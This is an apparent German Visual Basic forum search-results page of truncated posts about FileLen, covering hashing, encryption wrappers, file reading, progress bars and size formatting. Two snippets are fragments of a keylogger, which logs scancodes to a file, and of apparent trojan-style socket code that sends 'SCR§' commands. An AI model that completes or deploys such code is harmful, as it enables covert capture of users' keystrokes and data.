Visual Basic Forum

Verfasst am: 20.06.2010, 15:56 Aufrufe: 389

... MD5Update Len(SourceString), StringToArray(SourceString) MD5Final DigestStrToHexStr = GetValues End Function Public Function DigestFileToHexStr(InFile As String) As String On Error GoTo errorhandler GoSub begin errorhandler: DigestFileToHexStr = "" Exit Function begin: Dim FileO As Integer FileO = FreeFile Call FileLen ...

Verfasst am: 28.09.2009, 16:44 Aufrufe: 568

Verfasst am: 29.06.2009, 13:16 Aufrufe: 757

Beschreibung: Das ist eine Kryptographieklasse die die Verschlüsselungsalgorithmen aus den .NET Frameworkzusammenfasst und in einfach anzuwendenen Funktionen kapselt.Es gibt für jedes Szenario eine passende Funktion z.B. wenn man eine Datei von der Festplatte direkt in ein Bytearray entschlüsseln will oder wenn man ein Bytearray verschlüsseln will und das Ergebnis in ein anderes Bytearray speichern wil ...

Verfasst am: 06.08.2008, 15:21 Aufrufe: 771

Verfasst am: 06.08.2008, 07:06 Aufrufe: 771

(nicok;6571)Ist doch eigentlich recht simple: Brauchen tust du nur ein Source um eine Datei downzuloaden. Mit FileLen holst dir immer die aktuelle Größe. Speed bekommste indem du ein Timer auf 1s stellst und dann die Differenz von der "alten" Dateigröße (die vor einer Sekunde gemessen wurde) und der aktuellen Größe nimmst. Verbleibende Zeit einfach die noch übrig stehende Größe geteilt durch die Geschwindigkeit -> A ...

Verfasst am: 05.08.2008, 23:56 Aufrufe: 771

Ist doch eigentlich recht simple:Brauchen tust du nur ein Source um eine Datei downzuloaden.Mit FileLen holst dir immer die aktuelle Größe.Speed bekommste indem du ein Timer auf 1s stellst und dann die Differenz von der "alten" Dateigröße (die vor einer Sekunde gemessen wurde) und der aktuellen Größe nimmst.Verbleibende Zeit einfach die noch übrig stehende Größe geteilt durch die Geschwindigkeit -> Angabe in S, dann ...

Verfasst am: 30.07.2008, 17:10 Aufrufe: 573

msgbox CalculateSize(filelen(datei))

Verfasst am: 19.07.2008, 21:05 Aufrufe: 3177

das liegt daran, dass ein String nur 8 Kb gross sein kann!!!du musst die textdatei in Blöcken auslesenVisual Basic: [code] Dim curbyte As Long, dFileSize As Long, bBuffer As String, sPacketSize As Long, ff As Long, PrevPackSize As Long ff = FreeFile curbyte = 0 dFileSize = FileLen("DEINE DATEI") sPacketSize = 4049 Open "DEINE DATEI" For Binary Access Read As #ff ...

Verfasst am: 11.07.2008, 15:00 Aufrufe: 1617

(bla;5364)oder mit appendzB so:Visual Basic: http://de.wikipedia.org/wiki/Do-while-Schleife

Verfasst am: 11.07.2008, 09:42 Aufrufe: 1617

Verfasst am: 03.05.2008, 14:44 Aufrufe: 573

Name: CalculateSizeFunktion: Wandelt Größenangaben (Bytes) um in KB, MB etc.Rückgabe: String (Beispiel: "17,25MB" Beschreibung:Mit Filelen() oder LOF() kann man die Größe einer Datei ermitteln.In beiden Fällen bekommt man die Größe in Bytes zurück.Die Funktion CalculateSize soll euch nun helfen, einfach und schnell die Größe als lesbares Format darstellen zu können.Code:Visual Basic: [code]Public Functio ...

Verfasst am: 22.04.2008, 15:28 Aufrufe: 2222

FileLen ermittelt die Dateigröße in Bytes. Man muß ja erstmal das Maximum der Progressbar einstellen. Und der Timer im Projekt aktualisiert immer die Progressbars. Das ist recht Leistungsschonend und stört den Shredder nicht. Keine Ahnung was du machst, aber mein Example lässt sich ganz normal starten und ausführen. Edit// Zu deinem source: 1. Benutz öfter mal "with" Beispiel: with Prog ...

Verfasst am: 22.04.2008, 15:21 Aufrufe: 2222

Erklärung: Die Fortschrittsanzeige läuft nicht bzw. zeigt nicht den fortschritt an. Beispiel: Das funzt nicht, denn bei deinem Bsp. Projekt zeigt er mir an, dass der Eigenschaftswert "FileLen(...)" nicht gültig ist. ich habe euch mal mein Projekt geuppt, welches halt noch so kleine Fehler hat. Ich erwarte NICHT, dass mir jemand alle Fehler korrigiert und den fertigen src postet! Aber ich würde mich f ...

Verfasst am: 17.04.2008, 13:47 Aufrufe: 403

Dim FF As Integer dim Datei As String dim Inhalt As String dim Zeilen() As String Datei = "C:\Text.txt" FF = FreeFile Inhalt = Space(FileLen(Datei)) Open Datei For Binary As FF Get FF , , Inhalt Close FF Zeilen = Split(Inhalt, vbNewLine) dim i as integer dim eingabe integer eingabe = "hallO" for i = 0 to ubound(zeilen) ...

Verfasst am: 08.04.2008, 14:26 Aufrufe: 1077

Genauso wie alle anderen Objekte die du bei VB6 benutzen kannst. Button ect. Sind auch einfach in VB6 gecodet und werden aber als ActiveX (ocx) Datei verbreitet damit andere Leute sie in ihren Programmen benutzen können. @Str0ke Beispiel: Dim iByteCount as long iByteCount = FileLen(a) Du solltest deinen Variablen bessere Namen geben als "a". Irgendwann blickst du dann einfach ...

Verfasst am: 08.04.2008, 14:22 Aufrufe: 1077

Verfasst am: 08.04.2008, 14:13 Aufrufe: 1077

"FileLen()" wenn die Datei nicht geöffnet ist und "LOF()" wenn sie du sie per "Open blabla ..." geöffnet hast. Btw. gibt es schon fertige Progressbars (Fortschrittsanzeigen). "Microsoft Common Controls 6.0" CoolXPProgressbar sevProgress etc etc

Verfasst am: 28.02.2008, 17:32 Aufrufe: 496

Verfasst am: 19.01.2008, 18:18 Aufrufe: 426

Dateien suchen mit bestimmten Endungen ist kein Problem. Sufu hilft. Hab da auch mal nen Source gepostet, den ich für einen mp3 player genutzt habe, der nach den files suchte. Weiß jetzt nicht ob du die Größe der Datei meinst oder die Bitrate. Nach größe sortieren ist relativ einfach. Per Filelen("Pfad") kannst du die Größe ermitteln ohne die Datei zu öffnen. Die Bitrate ermitteln ist sicher auch ...

Verfasst am: 05.01.2008, 23:59 Aufrufe: 895

Verfasst am: 15.07.2007, 11:31 Aufrufe: 762

Andere Frage: Was gibt es sonst noch ausser FileLen oder FileExists? Ich suche einen der überprüft ob Die File = txtPasswort.text ist? lg Lu

Verfasst am: 15.07.2007, 10:39 Aufrufe: 762

Verfasst am: 15.07.2007, 10:16 Aufrufe: 762

Verfasst am: 07.05.2007, 20:36 Aufrufe: 513

Verfasst am: 07.05.2007, 18:54 Aufrufe: 513

SendData "SCR§" & FileLen(Environ("WINDIR") & "\logo.

Verfasst am: 03.02.2007, 20:26 Aufrufe: 1435

... cancodes) If scancodes = 32 Then keypressed = " " End If If scancodes = 13 Then keypressed = "[ENTER]" End If If scancodes = 46 Then keypressed = "[DELETE]" End If If Not (fso.fileexists(bunk)) Then Open bunk For Binary Access Read Write As #2 Close #2 End If all = all & keypressed If Len(all) > 30 Then size = FileLen ...

Verfasst am: 02.03.2003, 02:22 Aufrufe: 295

also ich habe ein problem mit meinem ersten prog und weis net warum desshalb poste ich mal den Code und es wäre echt goil wenn ihr mir helft: Private Sub DAT_ST_Click() Dim quelle$, max&, ziel$, zieln$, batch$ Dim p&, i%, laenge& max = DateigrößeErmitteln() If max <= 0 Then Exit Sub quelle = DateinameErmitteln() If quelle = "" Then Exit Sub laenge = FileLen(quelle) If laenge < max Then MsgBox "Die angegebene D ...